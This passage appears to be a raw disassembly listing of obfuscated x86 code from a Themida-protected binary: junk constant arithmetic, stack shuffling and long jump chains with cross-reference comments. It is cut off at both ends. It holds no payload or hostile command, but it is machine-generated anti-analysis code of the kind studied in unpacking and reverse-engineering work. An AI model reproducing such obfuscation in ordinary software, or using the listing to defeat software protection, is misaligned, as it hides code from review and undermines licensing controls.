[esp+8], 7D533258h add dword ptr [esp+8], 1A8F07B2h add [esp+8], edi jmp loc_55E406 ; --------------------------------------------------------------------------- loc_555B08: ; CODE XREF: Themida_:0055490Bj dec ebp or ebp, 3B3209D6h xor ebp, 7F7A29FBh jmp loc_564EB3 ; --------------------------------------------------------------------------- loc_555B1A: ; CODE XREF: Themida_:0055B492j mov ch, 31h mov dh, 5Fh sub dh, 97h jmp loc_55FD45 ; --------------------------------------------------------------------------- loc_555B26: ; CODE XREF: Themida_:00563460j pop eax add eax, 4 push ecx mov ecx, 4 add eax, ecx mov ecx, [esp] add esp, 4 xchg eax, [esp] pop esp push 4811h mov [esp], ebx push edi jmp loc_562070 ; --------------------------------------------------------------------------- loc_555B4F: ; CODE XREF: Themida_:00554994j mov edi, 17A743D8h mov ebx, 17A743DCh sub ebx, edi push dword ptr [esp] jmp loc_55A17A ; --------------------------------------------------------------------------- loc_555B63: ; CODE XREF: Themida_:00558857j push ecx mov ecx, 4 jmp loc_55DE40 ; --------------------------------------------------------------------------- loc_555B6E: ; CODE XREF: Themida_:005622FEj push dword ptr [esp] pop ebx jmp loc_56479D ; --------------------------------------------------------------------------- loc_555B77: ; CODE XREF: Themida_:0055856Fj mov eax, 4 mov ebx, eax pop eax add esi, ebx pop ebx add esi, 4 xchg esi, [esp] jmp loc_55D243 ; --------------------------------------------------------------------------- loc_555B90: ; CODE XREF: Themida_:00554F02j push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx jmp loc_556E79 ; --------------------------------------------------------------------------- loc_555BAE: ; CODE XREF: Themida_:00563E81j pop esi jmp loc_565867 ; --------------------------------------------------------------------------- loc_555BB4: ; CODE XREF: Themida_:00552A84j add dword ptr [esp+4], 65167483h sub dword ptr [esp+4], 4E874BB2h jmp loc_55CC69 ; --------------------------------------------------------------------------- loc_555BC9: ; CODE XREF: Themida_:0055AC40j and cl, 7Ch push small 3206h mov [esp], ax mov ah, 0Fh add cl, 0B9h sub cl, ah sub cl, 0B9h pop ax xor al, cl mov ecx, [esp] push eax jmp loc_551B82 ; --------------------------------------------------------------------------- loc_555BEB: ; CODE XREF: Themida_:005635F8j push edi jmp loc_55CE92 ; --------------------------------------------------------------------------- loc_555BF1: ; CODE XREF: Themida_:0055802Aj mov eax, 4 sub edi, eax pop eax jmp loc_55169F ; --------------------------------------------------------------------------- word_555BFE dw 2489h ; CODE XREF: Themida_:00563DC9j ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 8Bh xor al, 24h add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5589BA ; --------------------------------------------------------------------------- loc_555C1F: ; CODE XREF: Themida_:00563803j add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_5647E2 ; --------------------------------------------------------------------------- loc_555C35: ; CODE XREF: Themida_:005606DFj dec edx xor edx, 54E27586h sub edx, 3344433Dh add esi, edx pop edx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_563C8D ; --------------------------------------------------------------------------- loc_555C5C: ; CODE XREF: Themida_:0055612Cj add esp, 4 shl edi, 6 push esi mov esi, 14D38BA3h jmp loc_55B67A ; --------------------------------------------------------------------------- loc_555C6D: ; CODE XREF: Themida_:00560A02j pop esp sub edx, 4F21F3FEh sub edi, 5D65E47h push eax jmp loc_55299E ; --------------------------------------------------------------------------- loc_555C80: ; CODE XREF: Themida_:00559FE3j push edi mov edi, 7DAD1155h add edi, 9C8D5332h add eax, edi pop edi jmp loc_55E2A4 ; --------------------------------------------------------------------------- loc_555C94: ; CODE XREF: Themida_:00554989j pop edx jmp loc_561AD5 ; --------------------------------------------------------------------------- loc_555C9A: ; CODE XREF: Themida_:0055E853j push ebp mov ebp, 6EA104FFh neg ebp jmp loc_55320C ; --------------------------------------------------------------------------- loc_555CA7: ; CODE XREF: Themida_:005646ACj sub ecx, 7F195E2Ah pop edx sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_55B3EE ; --------------------------------------------------------------------------- loc_555CC1: ; CODE XREF: Themida_:005608CEj add ebx, esi jmp loc_5543FC ; --------------------------------------------------------------------------- loc_555CC8: ; CODE XREF: Themida_:00550446j mov [esp], edx push 719Fh jmp loc_55EF16 ; --------------------------------------------------------------------------- loc_555CD5: ; CODE XREF: Themida_:0055157Dj dec eax or eax, 20B66178h neg eax add eax, 5EC0A969h mov edx, eax pop eax neg edx xor edx, 21884E75h sub esi, edx jmp loc_55B121 ; --------------------------------------------------------------------------- loc_555CF4: ; CODE XREF: Themida_:0055FA0Bj mov [esp], ebx push 764Bh mov [esp], esi mov esi, 1EDA3950h mov ebx, esi pop esi mov ecx, 53054FE0h xor ecx, ebx mov ebx, [esp] jmp loc_55F07C ; --------------------------------------------------------------------------- loc_555D16: ; CODE XREF: Themida_:005541A3j push dword ptr [edi+eax*4] push 3707h mov [esp], edi jmp loc_55C76C ; --------------------------------------------------------------------------- loc_555D26: ; CODE XREF: Themida_:00560D1Cj pop ecx xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_558EE5 ; --------------------------------------------------------------------------- loc_555D36: ; CODE XREF: Themida_:0055AF64j push ebx jmp loc_55968F ; --------------------------------------------------------------------------- loc_555D3C: ; CODE XREF: Themida_:00550B33j pop edx pop ebx xchg ecx, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_554D74 ; --------------------------------------------------------------------------- loc_555D58: ; CODE XREF: Themida_:0055E556j pop ebp jmp loc_5600D8 ; --------------------------------------------------------------------------- loc_555D5E: ; CODE XREF: Themida_:00562CACj mov ebp, 4 jmp loc_561E7D ; --------------------------------------------------------------------------- loc_555D68: ; CODE XREF: Themida_:00559BD5j mov eax, 2 jmp loc_564768 ; --------------------------------------------------------------------------- loc_555D72: ; CODE XREF: Themida_:0055888Aj mov bx, [esp] jmp loc_551E85 ; --------------------------------------------------------------------------- push ecx sub esp, 4 mov [esp], edi push esi mov esi, 6D7F6FF5h push eax mov eax, 7CD63EAh sub eax, 6DC76BE0h jmp loc_55CE00 ; --------------------------------------------------------------------------- loc_555D9B: ; CODE XREF: Themida_:00552017j push 0E3E799Bh pop esi push ebx mov ebx, 0E3E7997h sub esi, 27540099h sub esi, ebx add esi, 27540099h jmp loc_55FEB5 ; --------------------------------------------------------------------------- loc_555DBA: ; CODE XREF: Themida_:00562036j mov esi, [esp] jmp loc_5524EA ; --------------------------------------------------------------------------- loc_555DC2: ; CODE XREF: Themida_:00558A73j mov ebp, esp jmp loc_55AF9B ; --------------------------------------------------------------------------- loc_555DC9: ; CODE XREF: Themida_:00562DCBj sub edi, 618D153Bh push edx mov edx, 0EE264D9h jmp loc_56470D ; --------------------------------------------------------------------------- loc_555DDA: ; CODE XREF: Themida_:00561ED3j pop edi and ecx, 37405407h jmp loc_558BDD ; --------------------------------------------------------------------------- loc_555DE6: ; CODE XREF: Themida_:00564A1Aj pop ebx jmp loc_553487 ; --------------------------------------------------------------------------- loc_555DEC: ; CODE XREF: Themida_:005655A3j push edx mov esi, [esp] add esp, 4 mov edx, [esp] add esp, 4 push ecx jmp loc_55EC9B ; --------------------------------------------------------------------------- loc_555E02: ; CODE XREF: Themida_:00563DD5j add esp, 4 add esi, 0E5FDA294h add ebp, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_555FC4 ; --------------------------------------------------------------------------- loc_555E21: ; CODE XREF: Themida_:00558E64j push eax mov eax, 0C430E45Fh sub esi, 3FFD3B1Eh add esi, eax jmp loc_558426 ; --------------------------------------------------------------------------- loc_555E34: ; CODE XREF: Themida_:0055CB23j sub esi, 407432E7h push ebp jmp loc_5562B3 ; --------------------------------------------------------------------------- loc_555E40: ; CODE XREF: Themida_:00562E9Fj add esp, 4 add esp, 4 jmp loc_550782 ; --------------------------------------------------------------------------- loc_555E51: ; CODE XREF: Themida_:0055602Dj sub ecx, 733B3FEAh sub ecx, 7E2D6F49h and ecx, 14A45D08h neg ecx jmp loc_56460F ; --------------------------------------------------------------------------- loc_555E6A: ; CODE XREF: Themida_:0055B087j mov dh, 85h mov cl, 90h sub cl, dh pop edx and cl, 22h jmp loc_55AA3E ; --------------------------------------------------------------------------- loc_555E79: ; CODE XREF: Themida_:005602C1j pop esp mov [esp], edi push 51C8h jmp loc_560FBE ; --------------------------------------------------------------------------- loc_555E87: ; CODE XREF: Themida_:005530BDj sub esp, 4 mov [esp], edi push edx push 30613473h pop edx push ecx mov ecx, 51DF6702h xor edx, ecx mov ecx, [esp] add esp, 4 xor edx, 24FE375Ah xor edx, 684668F7h jmp loc_55AEC1 ; --------------------------------------------------------------------------- loc_555EB3: ; CODE XREF: Themida_:00557D79j mov ecx, 1E5C2DC3h add ecx, 6DF821D7h xor ecx, 0E03004EEh sub edi, ecx pop ecx pop edx add ebx, 247D35A7h sub ebx, edi sub ebx, 247D35A7h pop edi xor edx, eax jmp loc_550420 ; --------------------------------------------------------------------------- loc_555EDE: ; CODE XREF: Themida_:00562B42j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], edx push 1Ch push dword ptr [esp] jmp loc_562B47 ; --------------------------------------------------------------------------- loc_555EFC: ; CODE XREF: Themida_:00555144j or edx, 5978108Ch jmp loc_55F5AB ; --------------------------------------------------------------------------- loc_555F07: ; CODE XREF: Themida_:00551FADj sub esp, 4 mov [esp], eax push edx mov dl, 0F0h sub dl, 90h mov ah, dl jmp loc_5563F5 ; --------------------------------------------------------------------------- loc_555F1A: ; CODE XREF: Themida_:0055182Cj xor al, bl mov bx, [esp] push 5B43h mov [esp], edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] mov esp, [esp] add bl, 70h jmp loc_563C10 ; --------------------------------------------------------------------------- loc_555F41: ; CODE XREF: Themida_:00560265j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_55D6FC ; --------------------------------------------------------------------------- loc_555F55: ; CODE XREF: Themida_:0055BF20j pop ebp or ecx, 3FB377D8h push 4523h jmp loc_556837 ; --------------------------------------------------------------------------- loc_555F66: ; CODE XREF: Themida_:00562E76j mov ebp, [esp] add esp, 4 jmp loc_551CA7 ; --------------------------------------------------------------------------- loc_555F71: ; CODE XREF: Themida_:005531BCj pop ecx sub esp, 4 jmp loc_56063D ; --------------------------------------------------------------------------- loc_555F7D: ; CODE XREF: Themida_:0055C969j xor ecx, 686D48E3h and edx, ecx jmp loc_551919 ; --------------------------------------------------------------------------- loc_555F8A: ; CODE XREF: Themida_:0055A2A5j pop ebp add ebx, 2566644Dh sub ebx, edx sub ebx, 2566644Dh add ebx, 74594E5Dh jmp loc_55C8E1 ; --------------------------------------------------------------------------- loc_555FA4: ; CODE XREF: Themida_:0056560Ej sub edx, 4 xchg edx, [esp] pop esp jmp loc_56567A ; --------------------------------------------------------------------------- loc_555FB0: ; CODE XREF: Themida_:0055BC56j sub ebx, 5901242Eh add ebx, ecx jmp loc_559017 ; --------------------------------------------------------------------------- loc_555FBD: ; CODE XREF: Themida_:00565458j mov ch, 0F2h jmp loc_55FA10 ; --------------------------------------------------------------------------- loc_555FC4: ; CODE XREF: Themida_:00555E1Cj add esp, 4 jmp loc_562690 ; --------------------------------------------------------------------------- loc_555FCF: ; CODE XREF: Themida_:0055617Aj pop edi push dword ptr [esp] pop edi add esp, 4 add edi, 4 sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_557131 ; --------------------------------------------------------------------------- loc_555FEB: ; CODE XREF: Themida_:0055AB60j pop eax jmp loc_560DFA ; --------------------------------------------------------------------------- loc_555FF1: ; CODE XREF: Themida_:005573E4j mov [esp], edi mov edi, 36642D4Bh push esi mov esi, 5F1D336Ah dec esi inc esi xor esi, 14E15D98h or edi, esi pop esi or edi, 3A9205B4h sub edi, 7A675128h xchg edx, edi inc edx xchg edx, edi sub esp, 4 mov [esp], edx push ecx mov ecx, 4B287201h xor ecx, 6D1A38CBh jmp loc_555E51 ; --------------------------------------------------------------------------- loc_556032: ; CODE XREF: Themida_:00559539j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5523A6 ; --------------------------------------------------------------------------- loc_556046: ; CODE XREF: Themida_:0055DB6Aj sub ecx, 618147DFh add ecx, edi add ecx, 618147DFh mov edi, [esp] add esp, 4 push eax jmp loc_556B67 ; --------------------------------------------------------------------------- loc_556063: ; CODE XREF: Themida_:0055B223j pop ecx push ebx push eax jmp loc_565476 ; --------------------------------------------------------------------------- loc_55606B: ; CODE XREF: Themida_:0055D49Aj xor esi, [esp] pop esp and [esp], al pushf jmp loc_554CB5 ; --------------------------------------------------------------------------- loc_556078: ; CODE XREF: Themida_:00557222j sub dword ptr [esp+4], 67F5AB4h add [esp+4], ebx add dword ptr [esp+4], 67F5AB4h push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 push ebx jmp loc_561DB0 ; --------------------------------------------------------------------------- loc_55609F: ; CODE XREF: Themida_:005525D6j add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], bx jmp loc_55181E ; --------------------------------------------------------------------------- loc_5560BD: ; CODE XREF: Themida_:00553AB9j mov edi, 10A06A36h mov eax, edi pop edi jmp loc_55EF6C ; --------------------------------------------------------------------------- loc_5560CA: ; CODE XREF: Themida_:00563F2Bj mov ebp, [esp] jmp loc_559A04 ; --------------------------------------------------------------------------- loc_5560D2: ; CODE XREF: Themida_:00560451j add ebp, 4 jmp loc_55C8C7 ; --------------------------------------------------------------------------- loc_5560DD: ; CODE XREF: Themida_:0055E9AAj add esp, 4 mov cx, [esp] add esp, 2 push dx push ecx jmp loc_56278C ; --------------------------------------------------------------------------- loc_5560F2: ; CODE XREF: Themida_:0055C836j pop esp jmp loc_552DFD ; --------------------------------------------------------------------------- loc_5560F8: ; CODE XREF: Themida_:00563AB9j sub eax, 671903A3h push edx mov edx, 18DC249Dh jmp loc_55A5EF ; --------------------------------------------------------------------------- loc_556108: ; CODE XREF: Themida_:0055F72Aj xchg ebp, edi jmp loc_558F55 ; --------------------------------------------------------------------------- loc_55610F: ; CODE XREF: Themida_:00563164j mov edx, 337A4C91h neg edx shl edx, 7 dec edx add edx, 0C7ABAC6h mov ebp, edx pop edx push eax jmp loc_55E8AD ; --------------------------------------------------------------------------- loc_556129: ; CODE XREF: Themida_:00552BD7j mov ebp, [esp] jmp loc_555C5C ; --------------------------------------------------------------------------- loc_556131: ; CODE XREF: Themida_:005626B5j sub edx, eax jmp loc_552F43 ; --------------------------------------------------------------------------- loc_556138: ; CODE XREF: Themida_:00564661j mov eax, 2C28507Ch xor eax, 2C285078h jmp loc_55CFAA ; --------------------------------------------------------------------------- loc_556147: ; CODE XREF: Themida_:00554807j xchg ebp, [esp] jmp loc_550DC3 ; --------------------------------------------------------------------------- loc_55614F: ; CODE XREF: Themida_:0055D1CAj pop ebp mov eax, [esp] add esp, 4 add eax, 4 sub eax, 4 jmp loc_56218E ; --------------------------------------------------------------------------- loc_556165: ; CODE XREF: Themida_:0055AEF8j pop dword ptr [esp] mov esp, [esp] jmp loc_55F02A ; --------------------------------------------------------------------------- loc_556170: ; CODE XREF: Themida_:0055FE26j xor edi, 6DD848FCh add [esp+4], edi jmp loc_555FCF ; --------------------------------------------------------------------------- loc_55617F: ; CODE XREF: Themida_:005526E1j pop ebx sub ebx, 11961A10h and ebx, 1D57530Ah sub ebx, 1 add ebx, 0FFFFFFFFh xor ebx, 7C2Eh xor ebx, 42B130D8h and ebx, 75FC16FCh xor ebx, 4B635D03h and ebx, 70384AF9h push esi mov esi, 584D1BA1h shr esi, 4 add esi, 0EA7BE34Dh sub ebx, 297A170Ch add ebx, esi push ecx jmp loc_557C36 ; --------------------------------------------------------------------------- loc_5561D0: ; CODE XREF: Themida_:00551E5Ej push edi push ebp push 0CFD64D1h pop ebp xor ebp, 3F325874h dec ebp push edx mov edx, 25790844h add ebp, edx pop edx jmp loc_5653B6 ; --------------------------------------------------------------------------- loc_5561ED: ; CODE XREF: Themida_:00559E88j mov ch, [esp] push esi jmp loc_551FF7 ; --------------------------------------------------------------------------- loc_5561F6: ; CODE XREF: Themida_:0055C88Ej add eax, edx sub eax, 37EF157Bh jmp loc_561175 ; --------------------------------------------------------------------------- loc_556202: ; CODE XREF: Themida_:00551E65j pop edx sub esi, 460E010Fh sub esi, ebx add esi, 460E010Fh push ecx mov ecx, 2AC5A6Eh sub esi, ecx pop ecx push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor esi, 1FC76594h push ebx mov ebx, 8F43F98h or ebx, 36266DDCh push edx mov edx, 26345C7Eh jmp loc_554B15 ; --------------------------------------------------------------------------- loc_55624E: ; CODE XREF: Themida_:00556C80j push 5519h jmp loc_55E00D ; --------------------------------------------------------------------------- loc_556258: ; CODE XREF: Themida_:005540B9j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_552516 ; --------------------------------------------------------------------------- loc_55626E: ; CODE XREF: Themida_:00558DEFj pop esi push ebp mov ebp, edi jmp loc_561491 ; --------------------------------------------------------------------------- loc_556277: ; CODE XREF: Themida_:00557F9Aj mov cl, bl pop ebx push edx mov dh, cl mov bh, dh pop edx pop ecx mov eax, [esp] jmp loc_552335 ; --------------------------------------------------------------------------- loc_556289: ; CODE XREF: Themida_:0055AE09j xchg esi, [esp] push esi push 6785h mov [esp], edx pop esi pop edx push edx not dword ptr [esp] pop edx jmp loc_554C7D ; --------------------------------------------------------------------------- loc_5562A1: ; CODE XREF: Themida_:00554CB0j xor ecx, 19763537h inc ecx sub ecx, 0ED302B1Ah jmp loc_5545AC ; --------------------------------------------------------------------------- loc_5562B3: ; CODE XREF: Themida_:00555E3Bj mov ebp, 5DCF440Eh sub esp, 4 mov [esp], ebx mov ebx, 25066786h jmp loc_5627E7 ; --------------------------------------------------------------------------- loc_5562CB: ; CODE XREF: Themida_:0055E734j mov ecx, 1D413690h xor ecx, 7EF83D7Fh push edi mov edi, 0FFFFFFFFh add ecx, edi pop edi sub ecx, 5D392067h add ecx, 6433E3DBh xor eax, ecx push dword ptr [esp] pop ecx push ebp mov ebp, esp push esi mov esi, 47647D43h neg esi and esi, 1E6C7B78h add esi, 0E7F7FDCCh add ebp, esi pop esi push eax mov eax, 4 add ebp, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] pop esp push ebx push 2E10h mov [esp], ebp jmp loc_551321 ; --------------------------------------------------------------------------- loc_556338: ; CODE XREF: Themida_:005558FFj mov ecx, 50264E07h jmp loc_55CFFB ; --------------------------------------------------------------------------- loc_556342: ; CODE XREF: Themida_:00558D24j pop ebp jmp loc_550420 ; --------------------------------------------------------------------------- loc_556348: ; CODE XREF: Themida_:00557513j pop ecx jmp loc_56453A ; --------------------------------------------------------------------------- loc_55634E: ; CODE XREF: Themida_:00565638j mov ecx, 64EC6245h sub ebx, ecx jmp loc_5633E4 ; --------------------------------------------------------------------------- loc_55635A: ; CODE XREF: Themida_:0056271Bj mov [esp], edx jmp loc_558185 ; --------------------------------------------------------------------------- loc_556362: ; CODE XREF: Themida_:00560C23j add edi, 4 jmp loc_565106 ; --------------------------------------------------------------------------- loc_55636D: ; CODE XREF: Themida_:005549C2j mov edi, ecx pop ecx add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp push eax push edi mov edi, 3F6310AEh mov eax, 3F6310B2h sub eax, edi jmp loc_5553A4 ; --------------------------------------------------------------------------- loc_556390: ; CODE XREF: Themida_:00562F30j add eax, 19B86457h jmp loc_563CA2 ; --------------------------------------------------------------------------- loc_55639A: ; CODE XREF: Themida_:0055533Dj mov edi, 71301A17h add edi, 785B7258h push 5CE5h mov [esp], ebx mov ebx, 87D6CD33h add edi, ebx pop ebx sub eax, edi pop edi push esi jmp loc_552C6A ; --------------------------------------------------------------------------- loc_5563BE: ; CODE XREF: Themida_:00558488j mov ebp, 2 mov edx, ebp pop ebp sub ebx, 5B027088h sub ebx, 37965D73h add ebx, edx jmp loc_560BD5 ; --------------------------------------------------------------------------- loc_5563D9: ; CODE XREF: Themida_:0055AA58j mov esp, [esp] pop dword ptr [esp] jmp loc_5519F6 ; --------------------------------------------------------------------------- loc_5563E4: ; CODE XREF: Themida_:00556E2Aj push ebp jmp loc_561FC1 ; --------------------------------------------------------------------------- loc_5563EA: ; CODE XREF: Themida_:0055BAEFj xor ebp, [esp] mov esp, [esp] jmp loc_556606 ; --------------------------------------------------------------------------- loc_5563F5: ; CODE XREF: Themida_:00555F15j pop edx jmp loc_550D74 ; --------------------------------------------------------------------------- loc_5563FB: ; CODE XREF: Themida_:005655B7j push eax mov eax, 2 push edi mov edi, 68D2324Ah add esi, edi pop edi jmp loc_55F6B8 ; --------------------------------------------------------------------------- loc_55640F: ; CODE XREF: Themida_:0055E7E7j dec edx push ebx push edx push 0C571207h pop edx xor edx, 20C463CCh neg edx shl edx, 6 add edx, 7CAEC412h mov ebx, edx pop edx xor ebx, 409160C5h push edx jmp loc_5641BA ; --------------------------------------------------------------------------- loc_556438: ; CODE XREF: Themida_:00554236j push eax mov eax, 238073Ah xor eax, 749671D4h add eax, 7412DE1h jmp loc_551042 ; --------------------------------------------------------------------------- mov cx, [esp] push 902h mov [esp], edi push esp jmp loc_559E38 ; --------------------------------------------------------------------------- lodsb push small 4A3Ch jmp loc_552CBF ; --------------------------------------------------------------------------- loc_556469: ; CODE XREF: Themida_:005531C4j push 4D463AE3h jmp loc_557AA2 ; --------------------------------------------------------------------------- loc_556473: ; CODE XREF: Themida_:00557BAEj sub bl, al add bl, 0FAh push ecx mov cl, 0A9h neg cl not cl inc cl sub cl, 1Bh sub cl, 92h add bl, 38h jmp loc_554AB9 ; --------------------------------------------------------------------------- loc_55648F: ; CODE XREF: Themida_:0055EAD4j push 3F9501BFh pop esi sub esi, 3F9501BBh mov eax, esi pop esi add ecx, eax push dword ptr [esp] pop eax push edx jmp loc_551088 ; --------------------------------------------------------------------------- mov eax, [esp] push 35Ah mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], edx jmp loc_551D7E ; --------------------------------------------------------------------------- loc_5564C5: ; CODE XREF: Themida_:00552AFCj add edi, edx sub edi, 312A49CCh add edi, 5D65E47h jmp loc_5635F2 ; --------------------------------------------------------------------------- loc_5564D8: ; CODE XREF: Themida_:0055AB54j inc ebx jmp loc_55D235 ; --------------------------------------------------------------------------- loc_5564DE: ; CODE XREF: Themida_:005658A1j push 633Bh jmp loc_564B08 ; --------------------------------------------------------------------------- loc_5564E8: ; CODE XREF: Themida_:0055B26Aj xor dh, 27h sub dh, 0B9h sub ch, dh pop edx xor ch, 7Eh and ah, ch mov ecx, [esp] add esp, 4 push 3838h mov [esp], edx jmp loc_56449E ; --------------------------------------------------------------------------- loc_556509: ; CODE XREF: Themida_:0055F025j push edi mov edi, esp add edi, 4 push 5FEh mov [esp], ecx mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp] pop esp push esi mov esi, 460A6C1Fh jmp loc_553562 ; --------------------------------------------------------------------------- loc_556531: ; CODE XREF: Themida_:00557A52j xchg esi, [esp] mov esp, [esp] push dword ptr [esp] pop eax jmp loc_564F1D ; --------------------------------------------------------------------------- loc_556540: ; CODE XREF: Themida_:0055ECD5j add esi, ebx pop ebx push ebx push ebp mov ebp, 4 mov ebx, ebp pop ebp add esi, ebx jmp loc_55BCEB ; --------------------------------------------------------------------------- loc_556554: ; CODE XREF: Themida_:00563BA3j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ecx jmp loc_5582E5 ; --------------------------------------------------------------------------- loc_55656D: ; CODE XREF: Themida_:0055FAB8j add esp, 4 jmp loc_551582 ; --------------------------------------------------------------------------- loc_556578: ; CODE XREF: Themida_:0055A8F4j add ebx, esi sub ebx, 725356B1h push edx mov edx, 6C0D14FAh jmp loc_565323 ; --------------------------------------------------------------------------- loc_55658B: ; CODE XREF: Themida_:0055BC9Fj pop ecx jmp loc_550420 ; --------------------------------------------------------------------------- loc_556591: ; CODE XREF: Themida_:0056194Cj mov [esp], eax jmp loc_550420 ; --------------------------------------------------------------------------- loc_556599: ; CODE XREF: Themida_:00564F6Ej sub esi, 782032C6h jmp loc_554C4E ; --------------------------------------------------------------------------- loc_5565A4: ; CODE XREF: Themida_:00562C6Aj mov edx, 3A455489h sub edi, edx pop edx add edi, 7A042131h add edi, edx sub edi, 7A042131h add edi, 3A455489h pop edx add esi, edi push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add esi, 2 xor esi, [esp] jmp loc_5636A3 ; --------------------------------------------------------------------------- loc_5565F1: ; CODE XREF: Themida_:0055FAA4j sub ebx, ebp add ebx, 18E42CFCh sub ebx, 6C164EC2h pop ebp push ebx jmp loc_55127B ; --------------------------------------------------------------------------- loc_556606: ; CODE XREF: Themida_:005563F0j pop dword ptr [esp] mov esp, [esp] movsx cx, al jmp loc_5521C1 ; --------------------------------------------------------------------------- loc_556615: ; CODE XREF: Themida_:00563FD7j mov ecx, 28502552h jmp loc_559DC7 ; --------------------------------------------------------------------------- loc_55661F: ; CODE XREF: Themida_:005625E6j pop eax sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], edi push edx mov edx, 18083CF4h push 18083D2Ch pop edi push eax mov eax, 2FE71258h inc eax sub eax, 0C829C2A0h jmp loc_55542E ; --------------------------------------------------------------------------- loc_55664C: ; CODE XREF: Themida_:005612CFj push eax push ebp jmp loc_56032F ; --------------------------------------------------------------------------- loc_556653: ; CODE XREF: Themida_:0056184Aj xchg ebx, ebp not ebx jmp loc_551BED ; --------------------------------------------------------------------------- loc_55665C: ; CODE XREF: Themida_:00564839j add esp, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 0FD069Ch jmp loc_556E22 ; --------------------------------------------------------------------------- loc_556670: ; CODE XREF: Themida_:005617FBj push ecx mov ecx, 68866A2Fh push edx mov edx, ecx jmp loc_55E92C ; --------------------------------------------------------------------------- loc_55667E: ; CODE XREF: Themida_:0055861Ej bts [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_556689: ; CODE XREF: Themida_:00557C7Bj add esi, 0FFFFFFFFh push 4183h jmp loc_55A1E5 ; --------------------------------------------------------------------------- loc_556696: ; CODE XREF: Themida_:00562BE0j sub byte ptr [esp], 8Bh jmp loc_563513 ; --------------------------------------------------------------------------- loc_55669F: ; CODE XREF: Themida_:00557BBCj mov ah, 6Ch jmp loc_553885 ; --------------------------------------------------------------------------- loc_5566A6: ; CODE XREF: Themida_:00564A10j mov esi, 4CB81DF7h sub esi, 31B3617Bh add esi, 0CFC6EFDh and esi, 3A7919EAh shr esi, 1 jmp loc_55ED75 ; --------------------------------------------------------------------------- loc_5566C4: ; CODE XREF: Themida_:005547D6j sub ebx, 815444E3h or ecx, ebx mov ebx, [esp] jmp loc_55E21C ; --------------------------------------------------------------------------- loc_5566D4: ; CODE XREF: Themida_:00553E96j mov edx, 2AC5A6Eh jmp loc_551E63 ; --------------------------------------------------------------------------- loc_5566DE: ; CODE XREF: Themida_:0056329Dj push ebp jmp loc_551ADB ; --------------------------------------------------------------------------- loc_5566E4: ; CODE XREF: Themida_:00551EC0j xor ebx, 0B77FF104h add ebp, ebx push dword ptr [esp] pop ebx add esp, 4 add ebp, 4 jmp loc_5581F1 ; --------------------------------------------------------------------------- loc_5566FB: ; CODE XREF: Themida_:0055B5E8j not dword ptr [esp] jmp loc_551AD0 ; --------------------------------------------------------------------------- loc_556703: ; CODE XREF: Themida_:0055DE11j add edx, 0DB84D2DBh mov edi, edx pop edx add esi, edi pop edi push edi mov edi, 26F754ADh and edi, 229754BBh jmp loc_557CF6 ; --------------------------------------------------------------------------- loc_556720: ; CODE XREF: Themida_:0055CAC8j pop ebx jmp loc_554967 ; --------------------------------------------------------------------------- loc_556726: ; CODE XREF: Themida_:005550D6j inc ecx jmp loc_55A334 ; --------------------------------------------------------------------------- loc_55672C: ; CODE XREF: Themida_:0055F132j pop edi add ebx, eax pop eax sub eax, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ebx, 529F73FAh add ebx, eax sub ebx, 529F73FAh push dword ptr [esp] pop eax jmp loc_55EC28 ; --------------------------------------------------------------------------- loc_55675F: ; CODE XREF: Themida_:0055A520j pop ecx jmp loc_55CECD ; --------------------------------------------------------------------------- loc_556765: ; CODE XREF: Themida_:00564269j xchg ebx, [esp] jmp loc_55F5FA ; --------------------------------------------------------------------------- loc_55676D: ; CODE XREF: Themida_:00557CC2j pop ebp jmp loc_55C28A ; --------------------------------------------------------------------------- loc_556773: ; CODE XREF: Themida_:00563F07j add edi, edx pop edx add edi, 2 xor edi, [esp] jmp loc_55DEFC ; --------------------------------------------------------------------------- loc_556784: ; CODE XREF: Themida_:00558180j pop esi jmp loc_557A79 ; --------------------------------------------------------------------------- loc_55678A: ; CODE XREF: Themida_:005538F1j sub esi, 4 xor esi, [esp] jmp loc_5577A1 ; --------------------------------------------------------------------------- loc_556798: ; CODE XREF: Themida_:00556F50j pop ebx mov ebp, [esp] push ebx mov ebx, esp push esi mov esi, 38881D9Dh add esi, 0FFFFFFFFh jmp loc_55A4F3 ; --------------------------------------------------------------------------- loc_5567AD: ; CODE XREF: Themida_:0055D6F7j sub esi, ebp mov ebp, [esp] add esp, 4 pop eax xor esi, [esp] jmp loc_55694A ; --------------------------------------------------------------------------- loc_5567C1: 